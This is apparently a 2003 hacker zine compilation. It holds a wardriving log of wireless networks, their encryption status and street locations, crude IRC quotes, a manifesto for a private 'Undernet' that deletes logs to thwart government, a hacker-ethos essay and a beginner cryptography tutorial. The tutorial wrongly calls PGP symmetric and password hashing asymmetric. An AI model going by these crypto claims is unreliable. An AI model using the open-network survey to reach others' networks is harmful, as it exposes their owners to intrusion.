Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 1
Data : 0
Crypt : 0
Weak : 0
Total : 1
First : "Mon Aug 11 18:43:18 2003"
Last : "Mon Aug 11 18:43:18 2003"
Location : 127st 158Ave (Chinese Pagoda)
Network 8: "linksys" BSSID: "00:06:25:9B:F0:9A"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 18
Data : 0
Crypt : 0
Weak : 0
Total : 18
First : "Mon Aug 11 18:44:25 2003"
Last : "Mon Aug 11 18:44:27 2003"
Location : 127st 158Ave (Chinese Pagoda)
Network 9: "5ECUR3w3p5TOR3" BSSID: "00:A0:F8:3B:00:93"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 1
Data : 0
Crypt : 0
Weak : 0
Total : 1
First : "Mon Aug 11 18:45:58 2003"
Last : "Mon Aug 11 18:45:58 2003"
Location : 137Ave 127st
Network 10: "prb602" BSSID: "00:06:25:54:6B:E7"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 2
Data : 0
Crypt : 0
Weak : 0
Total : 2
First : "Mon Aug 11 18:47:24 2003"
Last : "Mon Aug 11 18:47:24 2003"
Location : 127 Street 134Ave
Network 11: "default" BSSID: "00:80:C8:2A:67:7A"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 22.0
LLC : 34
Data : 2
Crypt : 0
Weak : 0
Total : 36
First : "Mon Aug 11 18:48:18 2003"
Last : "Mon Aug 11 18:55:41 2003"
Address found via TCP 66.218.68.202
Location : 131Ave 127St
Network 12: "<no ssid>" BSSID: "00:06:25:92:A2:27"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 3
Data : 0
Crypt : 0
Weak : 0
Total : 3
First : "Mon Aug 11 18:51:21 2003"
Last : "Mon Aug 11 18:51:22 2003"
Location : 124Ave 125St (Yellowhead Youth Centre School)
Network 13: "wireless" BSSID: "00:06:25:06:F8:1A"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 21
Data : 1
Crypt : 0
Weak : 0
Total : 22
First : "Mon Aug 11 18:58:31 2003"
Last : "Mon Aug 11 18:58:40 2003"
Address found via TCP 12.240.162.73
Location : 116Street 137Ave
Network 14: "default" BSSID: "00:10:E7:F5:8B:52"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 1656
Data : 36
Crypt : 3
Weak : 0
Total : 1692
First : "Mon Aug 11 19:00:40 2003"
Last : "Mon Aug 11 19:04:39 2003"
Address found via TCP 10.180.127.0
Location : Northgate Mall (across the street at Rosslyn Hotel)
Network 15: "5ECUR3w3p5TOR3" BSSID: "00:A0:F8:3A:E5:17"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 125
Data : 0
Crypt : 0
Weak : 0
Total : 125
First : "Mon Aug 11 19:00:57 2003"
Last : "Mon Aug 11 19:01:27 2003"
Location : Northgate Mall (across the street at Rosslyn Hotel)
Network 16: "AP3535" BSSID: "00:A0:F8:9C:36:19"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 48
Data : 0
Crypt : 0
Weak : 0
Total : 48
First : "Mon Aug 11 19:04:33 2003"
Last : "Mon Aug 11 19:04:44 2003"
Location : Crazyhorse 97st
Network 17: "AP3535" BSSID: "00:A0:F8:9C:3B:F1"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 17
Data : 0
Crypt : 0
Weak : 0
Total : 17
First : "Mon Aug 11 19:04:34 2003"
Last : "Mon Aug 11 19:04:42 2003"
Location : Crazyhorse 97st
Network 18: "<no ssid>" BSSID: "00:06:25:24:CE:4E"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 1
Data : 0
Crypt : 0
Weak : 0
Total : 1
First : "Mon Aug 11 19:05:07 2003"
Last : "Mon Aug 11 19:05:07 2003"
Location : 128Ave 97st
Network 19: "linksys" BSSID: "00:04:5A:F6:1C:EE"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 10
Data : 0
Crypt : 0
Weak : 0
Total : 10
First : "Mon Aug 11 19:05:14 2003"
Last : "Mon Aug 11 19:05:15 2003"
Location : Crazyhorse 97st
Network 20: "default" BSSID: "00:40:05:BE:49:CB"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 22.0
LLC : 50
Data : 0
Crypt : 0
Weak : 0
Total : 50
First : "Mon Aug 11 19:10:09 2003"
Last : "Mon Aug 11 19:19:15 2003"
Location : 118Ave 93street
Network 21: "wireless" BSSID: "00:06:25:07:6C:CA"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 56
Data : 0
Crypt : 0
Weak : 0
Total : 56
First : "Mon Aug 11 19:11:40 2003"
Last : "Mon Aug 11 19:17:52 2003"
Location : 118Ave 89st (Across from Church)
Network 22: "cornerstone" BSSID: "00:06:25:66:D5:38"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 34
Data : 2
Crypt : 0
Weak : 0
Total : 36
First : "Mon Aug 11 19:12:57 2003"
Last : "Mon Aug 11 19:13:01 2003"
Address found via TCP 192.168.1.100
Location : 120Ave (By Mac's store)
Network 23: "MUNROnet" BSSID: "00:50:F2:C5:2A:7A"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "Yes"
Maxrate : 11.0
LLC : 88
Data : 0
Crypt : 0
Weak : 0
Total : 88
First : "Mon Aug 11 19:16:56 2003"
Last : "Mon Aug 11 19:17:10 2003"
Location : 80street 118ave
Network 24: "wireless" BSSID: "00:90:4B:32:88:DA"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 2
Data : 0
Crypt : 0
Weak : 0
Total : 2
First : "Mon Aug 11 19:21:34 2003"
Last : "Mon Aug 11 19:21:34 2003"
Location : NAIT H/P Princess Elizabeth Ave (106Street)
Network 25: "public" BSSID: "00:0A:B7:80:1B:FE"
Type : infrastructure
Carrier : 802.11b
Info : "b-w203-ap1200"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 385
Data : 1
Crypt : 0
Weak : 0
Total : 386
First : "Mon Aug 11 19:21:53 2003"
Last : "Mon Aug 11 19:30:35 2003"
Location : NAIT H/P Princess Elizabeth Ave (106Street)
Network 26: "public" BSSID: "00:40:96:33:D8:78"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 178
Data : 0
Crypt : 0
Weak : 0
Total : 178
First : "Mon Aug 11 19:21:55 2003"
Last : "Mon Aug 11 19:28:05 2003"
Location : NAIT H/P Princess Elizabeth Ave (106Street)
Network 27: "linksys" BSSID: "00:06:25:64:DE:66"
Type : infrastructure
Carrier : 802.11b
Info : "None"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 1
Data : 0
Crypt : 0
Weak : 0
Total : 1
First : "Mon Aug 11 19:22:13 2003"
Last : "Mon Aug 11 19:22:13 2003"
Location : NAIT H/P Princess Elizabeth Ave (106Street)
Network 28: "student101" BSSID: "00:0A:B7:80:1B:F1"
Type : infrastructure
Carrier : 802.11b
Info : "b-w206-ap1200"
Channel : 06
WEP : "No"
Maxrate : 11.0
LLC : 241
Data : 0
Crypt : 0
Weak : 0
Total : 241
First : "Mon Aug 11 19:27:37 2003"
Last : "Mon Aug 11 19:30:23 2003"
Location : NAIT H/P Princess Elizabeth Ave (106Street)
---
<kankraka> port9 i dont understand how anyone could want to do ass/be ass rammed
<port9> you don't appreciate the finer things in life.
---
----------------------The Undernet: A Grandmaster Plan--------------------------
by CyberSk4nk
================================================================================
For years, the existence of the Internet has been a dream for the hackers and
phreakers of the world. The internet was born out of the ARPANET, a US DoD
funded project to create a redundant communication system for government
purposes. Somehow, in the early 80's, the internet went semi-commercial as the
building block for university research. By the 90's, it went full-blown
commerical, with ISPs providing service to home and buisness users who know had
the money for cheap modems and lines. By 1995, banner ads and pop-ups started
appearing, littering a perfect hacker utopia with trash and mind-numbing
corporate propaganda. Today, the internet is almost fully corporate, with
companies like Verisign running a root servers and fucking over perfectly
good HTTP 404 messages with it's own "Site Finder" service. P2P users are being
prosecuted for excersicing their fair-use rights. Even governments have their
hand in this, blocking certain sites they deam offensive to their national
security and jailing teens for exploring computers and networks.
I present to the hacking and phreaking community a grandmaster plan that I
believe has never been thought of before: an underground, private and seperate
internet from the real Internet. The Undernet. If somebody has come up with this
plan before, it only reinforces the frustration that hackers feel today of the
ungodly commercilization of the net. So fellow hackers? Is this even possible?
The best part of this is it is. It is perfectly possible.
If five of us ran our own root servers, with our own registration system, domain
names, we would have a seperate internet. For other to access the Undernet, all
users would have to do is set their TCP/IP settings to point to our DNS servers,
as opposed to the one supplied by their ISP. DNS servers, as long as they don't
receive millions of hits every minute, should be able to run most comfortably on
an old 486 or early pentium machine. These machines could also act as very fast
IPSec routers and gateways. This would mean end-to-end encryption between the
major nodes on the Undernet. Encryption would provide anonymity and VPN-like
seperation between the Undernet and the Internet. Yes my friends, this is
completely possible. And we could delete logs as often as we like or encrypt the
server's filesystems to thwart future attempts by the governement to get
information on our valuable users and friends.
So, I present to you this grandmaster plan. This is just an RFC of sorts, and if
I receive enough feedback of hackers with cable modems and old servers, we could
start this wicked project and set up our own DNS root servers for the Undernet.
If you:
- have cable modem or ADSL access
- have an old spare PC to use as a router/DNS server
- are willing to donate some spare time to create an encrypted, private Undernet
seperate fromt the Internet for p2p, irc, www, ntp, and mail services.
- have hardware hacking and unix/bsd/linux skillz
NETTWERKED NEEDS YOU!
Enlist now!
contact me on #hackcanada or by email at cybersk4nk@shaw.ca
-cyberSk4nk-
-Sat Sep 27 15:03:57 MDT 2003-
---
<Kosmo_Kankraka> dont die man, ur pretty awesome
---
The New Consience
So there you have it.
The DOTCOM industry has come and gone. The IT sector is currently on its way out.
Companies that were mammoth three years ago are now searching overseas to find decent
business. To anyone who's been following technology for less than that long, we've
accomplished everything we can. This is especially the attitude of many teenagers upon
whose shoulders the future rests.
A true hacker knows better than this. A true hacker knows that innovation and passion
will always supercede the collapse of an industry built upon a faulty social system. A
true hacker knows that what should be looked to is not the next Windows update, but an
idea which bends and breaks habits and crushes superstition.
Want some examples? While the 1980s is a good place to start, the culture started long
before that. In the 1970s, there was Berkley, there was TAP. In the 1960s, there was
MIT. 1940s, Alan Turing and John von Neuman. Go back farther, you'll find Babbage,
Pascal, and even Aristotle.
If those people aren't your idea of hackers, you need to reexamine your views. They
didn't code? Of course not-- Grace Hopper didn't develop the compiler until World War
2. They didn't exploit? While one can't exploit a computer system that didn't exist
until von Neuman created it, one can certainly exploit a political system, like
Socrates did, or a financial field, like J.P. Morgan did.
Hacking isn't about computers, it's about creativity. It's about subverting those who
wrong you and finding the path the will designs. While 99.9% of modern day media born
hackers explore computer systems and develop tools and exploits, some--fewer as the
idea gets more popular-- realize why it is they're exploring and exploiting.
If a hacker is Jesus, then knowledge is his Holy Grail. There is nothing more
refreshing and satisfying than learning something new, playing with it, molding it
into what you think it can be. The foundation of the world we live in today was set by
subversives, and it is the subversives who will always prevail in the end. Those who
think independantly not because they were told to, but because they want to. Not
always honorable, but because the notion of honor changes with those who redefine it.
Not for the common good, because most people are easily satisfied with being controlled.
It's not about altruism, it's about progress. It's about defining who you are and
understanding the world you live in. It's about finding out what has been
taken from you and taking it back. If you don't like this, then step aside and die
with the rest of the IT world. If you try to fight this, you will eventually fail.
There is no way to stop hackers because they will not play by your rules, and if you
stop them, you stop the world. When you aim a gun at them, you won't notice they've
flipped the chamber so it strikes you. Play by their rules, and perhaps some day
you'll appreciate all they've done for you. They're not dangerous, only misunderstood.
- aestetix | 09/03
---
<port9> oh yeah. I get my jollies turned right on by you talking about fartbubbles. )
<Kankraka> lmao, port9 u and me share teh same fetish, ill pay u fifty bucks to come up
here and fart on my chest, it has to be bubbly tho
---
Fun with Cryptology: a basic introduction
PART ONE: SUBSTITUTION CIPHERS
I've met a lot of people in the past two years that have shown an interest in cryptology (aka crypto), whether for
improving web site security, encrypting top secret documents, or just having a little fun with friends. My purpose in
writing this brief introduction is to give you an idea as to what cryptology really is, dispell some of the myths about
it (especially since 11 September), and toss out a few notions of what encrpyption is to get you started on your way.
This first tutorial will deal with substitution ciphers, one of the most primitive means of cryptography. The next one
will deal with transposition, and later I'll be writing about steganography and various math toys with computer
programs. Enjoy!
---PART ONE: DEFINITIONS--
Cryptography: making codes, or the process of encoding a message
Cryptanalysis: the process of deciphering a code, cracking it
Cryptology: Cryptography and Cryptanalysis together.
Crypto: short for Cryptology
Plain text (PT): original unencoded message
Cipher text (CT): encrypted message
Monalphabetic: using a single alphabet
Polyalphabetic: using multiple alphabets
---PART TWO: HISTORY---
There's a whole shitload I could write on crypto history, but I gotta keep this short and sweet and give a few book
references at the end of the tutorial. Crypto has been around for a long time, dating all the way back to various
number tricks in religious texts-- if you don't feel like weeding through the Bible or Koran, watch the movie Pi to get
an idea of what I'm talking about. Anyways, crypto was common with the Greeks and Romans to send secret messages about
battles, and after Rome fell became heavily used by European kings and the Papacy. In fact, many Popes and kings had an
official cryptanalyst who would decipher messages that were intercepted by spies. One famous example of this is the
tale of Mary Queen of Scots, who was ultimately caught and executed for treason because letters with her accomplice
Babbington to usurpt Queen Elizabeth were intercepted and deciphered.
Through most of the Dark Ages and Middle Ages, crypto was simple alphabet substitutions, that is, replacing letters of
the alphabet with other letters or symbols. Then hits the Renaissance, and you got three bigwigs: Leon Battista
Alberti, who created the cipher disk, Johannes Trithemius, author of Steganographia and first guy to develop a tableau,
and Giovanni Battista Porta, who developed methods to solve polyalphabetic ciphers (codes using more than one cipher
alphabet). As far as reputation goes, these guys are all overshadowed by Blaise de Vigenere, who developed the famous
Vigenere tableau.
Ultimately, all these guys worked to develop different notions of how to use certain symbols to replace letters in
their messages, aka substitution ciphers.
--PART THREE: SUBSTITUTION--
Substitution is essentially using a cipher alphabet to write your message... rotation (like rot13) is probably the most
common form of this nowadays. Here's an example:
Alphabet 1: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Alphabet 2: NOPQRSTUVWXYZABCDEFGHIJKLM
This is the classic layout where alphabet 2 is rotated 13 letters (aka rot13). So if you have the PT "MOVE ZIG" it
would become "ZBIR MVT". A clever way to play with this is to assign multiple letters to a letter like this:
Alphabet 1: ABCDEF G HIJKLMN O PQRSTUVWXYZ
Alphabet 2: RJGITU(L/K)XNYTIWI(R/S)TIRNVCAPQED
In this alphabet, "G" of alphabet 1 can be substituted with either "L" OR "K" in the second alphabet, and likewise both
"E" and "P" of alphabet 1 can be subtituted with "T" from alphabet 2. You can use non-Latin symbols like Pi, infinity,
shapes, or whatever the hell you want. While an alphabet system like this can make your CT a little more difficult to
decipher, an experienced cryptanalyst shouldn't be put off too much by it.
There are also anagrams, which consist of mixing up sets of letters. This can be done either by mixing word for word,
or mixing an entire sentence. For example:
PT: MY BOAT SANK IN THE WATER.
CT: YM OTBA NAKS IN HET RETWA.
Technically, words that are written backwards (sdrawkcab) also fit into this category. Most of the time, anyone with a
good vocabulary shouldn't have a hard time cracking these.
The best way to begin attacking systems like this is to do a frequency analysis on the characters. Most of the time
anyone using a monalphabetic system is doing it either out of lack of time to use a more advanced cipher, or because
they don't know how. You can easily exploit this by looking for common trends in the language, assuming English from
here on. Start with a frequency list like this:
(most frequent) ETAONIRSHDLUCMPFYWGBVJKQXZ (least frequent)
Then take note of certain groups... like if there's an isolated CT character, it's got to be either "A" or "I", and
words have common endings, like "ing." It's also a good idea to have an idea of what the message is supposed to
contain, and who wrote it. There are some more advanced techniques, but I think this should suffice for now.
--PART FOUR: POLYALPHABETICS---
This is where we meet our friend Trithemius and his tableau (wrongly assigned the name "Vigenere tableau"). Trithemius
was playing around with Alberti's cipher disk and realized: why not just stick this all on paper in a table form?
Polyalphabetic cryptgrography was actually conceived earlier than this, but fuck history. Remember that second
substitution table I gave, where a few letters had multiple substitutions? Well these guys had this idea: why not make
every letter it's own substitution alphabet? That's where the cipher disk comes from. So from this, we can derive a
basic keywordless tableau:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
BCDEFGHIJKLMNOPQRSTUVWXYZA
CDEFGHIJKLMNOPQRSTUVWXYZAB
DEFGHIJKLMNOPQRSTUVWXYZABC
EFGHIJKLMNOPQRSTUVWXYZABCD
FGHIJKLMNOPQRSTUVWXYZABCDE
GHIJKLMNOPQRSTUVWXYZABCDEF
HIJKLMNOPQRSTUVWXYZABCDEFG
IJKLMNOPQRSTUVWXYZABCDEFGH
JKLMNOPQRSTUVWXYZABCDEFGHI
KLMNOPQRSTUVWXYZABCDEFGHIJ
LMNOPQRSTUVWXYZABCDEFGHIJK
MNOPQRSTUVWXYZABCDEFGHIJKL
NOPQRSTUVWXYZABCDEFGHIJKLM
OPQRSTUVWXYZABCDEFGHIJKLMN
PQRSTUVWXYZABCDEFGHIJKLMNO
QRSTUVWXYZABCDEFGHIJKLMNOP
RSTUVWXYZABCDEFGHIJKLMNOPQ
STUVWXYZABCDEFGHIJKLMNOPQR
TUVWXYZABCDEFGHIJKLMNOPQRS
UVWXYZABCDEFGHIJKLMNOPQRST
VWXYZABCDEFGHIJKLMNOPQRSTU
WXYZABCDEFGHIJKLMNOPQRSTUV
XYZABCDEFGHIJKLMNOPQRSTUVW
YZABCDEFGHIJKLMNOPQRSTUVWX
ZABCDEFGHIJKLMNOPQRSTUVWXY
To produce a polyalphabetic CT from this table, you need a key that tells which letter in the alphabet to use. For
example, say we want to use the key "ATHEIST"... this means that the first alphabet starts with A, the second with T,
etc. In this case, it's just rotating each alphabet to the desired letter. So watch this:
PT: YOUR GOD IS AN
KEY: ATHE IST AT HE
CT: YHBV OGW IL HR
Let me try to state it a little more obviously. Say you have the PT "O" and the Key "T"... find "O" in the top row, and
on the left column find "T", and you'll find the corresponding "H" as such:
ABCDEFGHIJKLMN-O-
B <-1- |
C |
D |
E |
F| |
G| |
H2 |
I| |
J\/ |
K |
L |
M |
N |
O |
P |
Q |
R |
S -3-> *
T-------------*H*
To decipher this, assuming you have the CT and KEY, simply run that same operation backwards. There are also ways of
analysing the CT to find the key, but they are a bit advanced for this tutorial.
---PART FIVE: CONCLUSION--
I'm ending this now because there's a lot more I could put in, but I think it's better suited for another tutorial.
This should have provided you with a decent idea of what entails substitution cryptography. In the next tutorial, I'll
be writing about transposition, and eventually maybe I'll get to some of the more mathematical ideas (like triple-DES,
RSA, or PGP). If you want more information on any of the concepts I've discussed here, check out David Kahn's _The
Codebreakers_, or Simon Singh's _The Code Book_ for more information.
--aestetix
---
<port9> I'm reading a intro file on buffer overflows. So sad that I didn't even know how they worked...
<theclone> it's not the size of the buffer, it's the address of the pointer. :P
<theclone> sorry bad joke
<port9> haha
---
Fun with Cryptology: A Basic Introduction
PART TWO: TRANSPOSITION CIPHERS
If you're reading this, I'll assume you've already read my Substitution tutorial. This carries one from it with the
next chapter, transposition.
---PART SIX: TRANSPOSITION HISTORY---
The first notion of a transposition cipher was developed in the fifth century B.C.E. by the Spartans. They developed a
device called a skytale (or scytale, depending on who you ask) that was a dowel or cylinder that you wrapped a strip of
paper around. When it was wrapped, you wrote a message across it, so each letter was on a different piece. Then you
unwrap the paper, write down the jibberish, copy it onto a paper and give it to a messenger to carry along. This way,
if the messenger gets caught, the enemy is stuck with a bunch of jargon and a worthless messenger who doesn't know what
the hell a scytale is.
So picture this: you're a king or high general, and some messenger comes up to you and gives you this paper with crap
written on it. How do you decipher it? Well, there are essentially three ways to handle this. Either (and this is the
least secure) the sender writes the dowel size on the paper for you, which blows the entire point of the scytale in the
first place. Second, you and the sender previously agreed on a dowel size to put your codes on... this was common, but
the problem is here that someone finds out what the size is, suddenly they can decipher all your messages assuming that
they understand how a scytale works. Finally, and most secure, each person has an arsenal of different sized scytales
they use, so when you get a message, you try it out on each one until it finally fits. This is a little more time
consuming, but if you're gonna defeat the Spanish Armada you want security.
---PART SEVEN: BASIC TRANSPOSITION---
So then, taking the idea of the skytale, cryptographers realized they could achieve this effect right on the paper. One
common effect is to wrap some text into a shape, like a square. Take the phrase "TRINITY IS A SCRIPT KIDDY" and watch
this:
TRINI
TKIDT
PXXDY
IXXYI
RCSAS
If you don't see how I did that, look at the "T" in the top left corner and follow to your right, then down. Now notice
the "X"s at the end... Xs are generally used when your text doesn't have the right length...say you got a phrase 23
letters long you need to fit into a 25 letter shell, just add two Xs to the end. You can play around with different
shapes if ya want, stretch out text, etc.
Ok, on to the more advanced stuff. I'm guessing that at least some of you reading this have played with the notion of
entering the text into the skytale -backwards-... produces an interesting effect, doesn't it? Here's another idea: try
putting in all the words in reverse order. That way, you'll have a sentence like "KIDDY SCRIPT A IS TRINITY." This
might throw off some of the morons who don't feel like putting an extra hour or two into figuring out multiple cipher
levels.
---PART EIGHT: HIGH SCHOOL SHIT---
Wanna make it more difficult? Check this out. Let's say you got a long paragraph... lemme use the first paragraph of
the Declaration of Independence for this one (written by Thomas Jefferson, a genius Deist... but I'll write about that
in another tutorial). Now here's a cool trick: instead of putting words in reverse order, do that with groups of five
or six words. So let's say we've done this, and have:
TO THE SEPARATION. THE CAUSES WHICH IMPEL THEM REQUIRES THAT THEY SHOULD DECLARE TO THE OPINIONS OF MANKIND THEM, A
DECENT RESPECT NATURE'S GOD ENTITLE LAWS AND NATURE,AND OF AND EQUAL STATION TO WHICH THE THE POWERS OF THE EARTH, THE
SEPARATE TO ASSUME ALONG CONNECTED THEM WITH ANOTHER, AND POLITICAL BANDS WHICH HAVE FOR ONE PEOPLE TO DISSOLVE THE
EVENTS, IT BECOMES NECESSARY WHEN IN THE COURSE OF HUMAN
For this thing, I think the scrambled word groups are enough to encrypt it without any extra goodies, though if you
have some document you want safe, it might be a good idea to reverse or even rot13 it. Here's the result of placing
this text into a 24*14 square:
TOTHESEPARATION,THECAUSE
HEOPINIONSOFMANKINDTHEMS
TATURE,ANDOFANDEQUALST,W
ONTHESEPARATETOASSUMEAAH
TD,,ANDPOLITICALBANDATDI
ENHRODISSOLVETHEEVESLIEC
RATETSSARYWHENINTHNWOOCH
ASRHEAMUHFOESRUOCETHNNEI
LWATLCENSEMOCEBTI,SIGTNM
CAEOPOEPENOROFEVAHHCCOTP
ELENAHTIWMEHTDETCENNOWRE
DEHTFOSREWOPEHTEHTHCIHEL
DLTITNEDOGS'ERUTANTCEPST
LUOHSYEHTTAHTSERIUQERMEH
There's actually a typo in there... can anyone find it? :) As you can see, I've made this table from the outside in,
You can also make one from the inside out, but fuck if I'm gonna make another one of those :p
---PART NINE: GETTING INSANE---
Yes, you can actually take this shit a step further! So say you wanna protect something, but don't wanna manually
reorder words or anything (completely understandable). Here's a solution: split up the individual letters. Let's take
the phrase "My god, it's full of stars"... and skip every third letter, as such:
MSFYFSGUTOLADLRIOST
Make sense? Good. Elonka found a far more complex example of this in the third part of the -unsolved- Kryptos
sculpture. I'd recommend check that out for more information: http://elonka.com/kryptos/part3.html
---PART TEN: CONCLUSION---
By now you should have a far better understanding of the basics of crypgtography. In these first two tutorials I wanted
to take on a more classical approach, introducing some concepts and techniques, showing cryptanalysis techniques where
I thought appropriate. In my next tutorial, I'm going to be covering a lot of methods that have arisen in the last few
decades with advances in mathematics and computers, and briefly touch on Steganography, the art of hiding messages in
things. Peace out.
--aestetix
---
<port9> Haha. A prince george rave. Is that like a lumberjack party^..
---
Fun With Cryptology: A Basic Introduction
PART THREE: MODERN METHODS
You should now have a fairly good understanding of substitution and transposition ciphers. What follows are some of the
techniques which have arisen with the advent of the last 40 years of computing.
---PART ELEVEN: BACK TO BASE---
If you've read my tutorial on base systems, this should be a breeze. If you're not familiar with it, the ASCII standard
is a list of 256 characters that correspond with a number [between 0 and 255]. The first few are system commands, and
after about 20 characters you start getting into common alphanumerics you can write messages with. The advantage of
having a number assigned to each character? You can hop across different base systems with the ASCII assignments. Hex
representation of ASCII is used in a lot of puzzles, like those of jonnyX, Elonka, and xacid (links at the end).
--PART TWELVE: PUBLIC KEY---
Ok, this is where shit starts getting fun. All credit for this is owed to Whit Diffie, the crypto god who came up with
this in the 70s. Basically, the biggest problem with cryptology in the 60s and 70s was identity verification. Jumping
back to the scytale example in the last tutorial, upon the deep military strategy that the Cold War involved, you had
to ask certain questions, like how to know for sure that messenger was indeed carrying a cryptogram from an ally, or
was a cleverly disguised enemy. There had been many attempts at solving this problem, many of them quite expensive and
still to no avail.
Diffie had been pondering this problem for many years, and one day, while living at his good friend Marty Hellman's
house, stumbled upon the idea of public key cryptography. Only recently had they developed systems that used -keys- to
encrypt data through an algorithm. But, Diffie thought, what if the key was split into two parts, private and public;
public being the piece everyone can see and use, and private being the key only one person, the recipient of the
message, has. Seems commonsense today, but for its time it was a major breakthrough.
So let's translate this into english for crypto beginners. Say you have a program (PGP works, because it's very well
known). You want to send a friend a message about his mom, but you know his mom reads his email, so you want to make
sure only he has access to it. So you go to his site or something and get his Public Key Block. It probably looks like
it's been sent through a computer processing plant and turned into jargon.... take this key, input it in the PGP
program you've already loaded up. Enter your message, encrypt. Voila! You have a set of jargon that can only be read if
your friend takes his Private Key Block, and inputs it along with your jargon into his copy of PGP. Fucking clever, eh?
The flipside: if you have an important message and people must know it came from you, use your private key to encrypt
it-- it can be decrypted with your public key. This means that if you wanna get your friend his message and remove
doubt it came from you, you can dual encrypt, first with your private key and then with his public key, or vise versa.
Either way, the corresponding keys will unlock your message. Tell me that's not genius!
---PART THIRTEEN: A/SYMMETRIC---
The concept of PGP falls into the category of symmetric encryption. Symmetric means it can be both encrypted and
decrypted, whereas asymmetric can only be encrypted. Why would you want a message that couldn't be decrypted? This
leads into a whole new realm of security.
Say you have a computer system that needs to verify a password entered. Instead of worrying about whether someone else
can read your mail, you now want to make sure nobody can duplicate your password. A good scheme will take your password
PT and run it through so many cycles of whatever algorithm that even it's mother won't recognize it anymore.
However, some problems arise here. For example, if you run each letter through 500 levels of jargoning shit, each
letter will still result in the same jargon each time. This means that if someone finds your password file with
encrypted data in it, they can just pull up a password entry dialog and enter characters until they find the ones that
correspond to the jargon they found as your password. Ultimately, this reduces even the highest level of crypto to just
another substitution cipher. So the system has to meet the challenge of encrypting your data in a secure way that can't
be brute forced. This is where we run into ideas like block ciphers, DES and Triple DES, , which are all beyond the
introductory level. If you're interested, I recommend reading through
http://www.rsasecurity.com/rsalabs/faq/sections.html the RSA Labs tutorials.
---PART FOURTEEN: STEGANOGRAPHY---
Steganography is sort of an extension of cryptography, sort of an encryption of its own. Where cryptography means
"hidden writing", steganography means "covered writing." The difference? While crypto is more a process of obfuscating
data in all sorts of ways, steganography is simply a way to hide data. There are all sorts of steganographic methods
that have been used through the years: Herodotus wrote that sometimes messengers would scrape the wax off a wax covered
table, write a message on it, put the wax back on, and send the furniture to the recipient. Other methods included
shaving messengers heads, tattooing messages on their scalps, waiting for their hair to grow and sending them off.
So jump into the 90s, and the Internet. One of the novel ideas of the Internet is the ability to exchange images. So
let's take a look at image structure. You should know from general knowledge that the image is in the computer as ones
and zeros, right? Well, let's lay out the first few bytes of the image as such:
10001010 10111001 01010010 01011111 00001011 10101010
10101010 10100111 00001010 10101010 01010101 01010100
Ok, check back to the base tutorial, which you've of course already read. Haven't? Read it, otherwise this next part
won't make sense.
We know from number system theory that the bits on the left represent higher places, thus those on the right are fairly
small in value. That means changing a few of those bits of little significance (aka least significant bit, or LSB)
really won't affect your image much. Hold the fuck on. An image file is really big. That means you got a lot of bytes.
If these LSBs on the bytes are changeable, why not interlace a fucking message through them?!?!
So check this. We have a message that we convert to binary via the ASCII table and base10 to base2 conversions. Say the
first part of the message is "110101010101". We can alter the LSBs of each byte as such:
10001011 10111001 01010010 01011111 00001010 10101011
10101010 10100111 00001010 10101011 01010100 01010101
We just interlaced a message into an image, and there's really no way to tell. You think the naked eye can see that?
But it gets better. What other kind of media are there? Sound files? Sure. Video? Definately. Basically, anyone with a
hex editor and a choice file can embed messages however they want. And LSB is just one way to do it. Maybe skip every
other byte? Or maybe you want to run your message through a choice algorithm (blowfish or triple-des, anyone?) before
you stick it in that granny porn.
---PART FIFTEEN: CONCLUSION---
I've concluded up to the basics of modern cryptography, and with this I end my "Fun with Cryptology!" series. If this
is more appealing to your than my tutorials on classical crypto, I recommend checking out books like _Applied
Cryptography_ by Bruce Schneier (he also runs a monthly called the Cryptogram, which is at least worth a google). Also,
check out _Crypto_ by Steven Levy, which is a modern history of cryptography (1960s to late 90s) and manages to explain
some of the more complex ideas in plain english. For Steganography, I recommend a google on Niels Provos, a Michigan
State grad student who is a pioneer in steganalysis theory. And always, David Kahn's _The Codebreakers_. I hope you
enjoyed my tutoral series, and I'm always interested in feedback on new ideas and how to make my writing easier to
understand.
Some nifty links:
http://home.sc.rr.com/xacid/code/ -- xacid's compilation of various stl2600 and se2600 puzzles.
http://members.aol.com/nova1337/tutorial.htm -- Elonka's PhreakNIC 3 code analysis
--aestetix
---
* kan_snore sets mode: +o jdm-
<theclone> haha still awake
<theclone> you're going to sleep through sewing classes
<OsbyPizza> don't poke yourself w/ the needle =\
<kan_snore> and fuck sewing
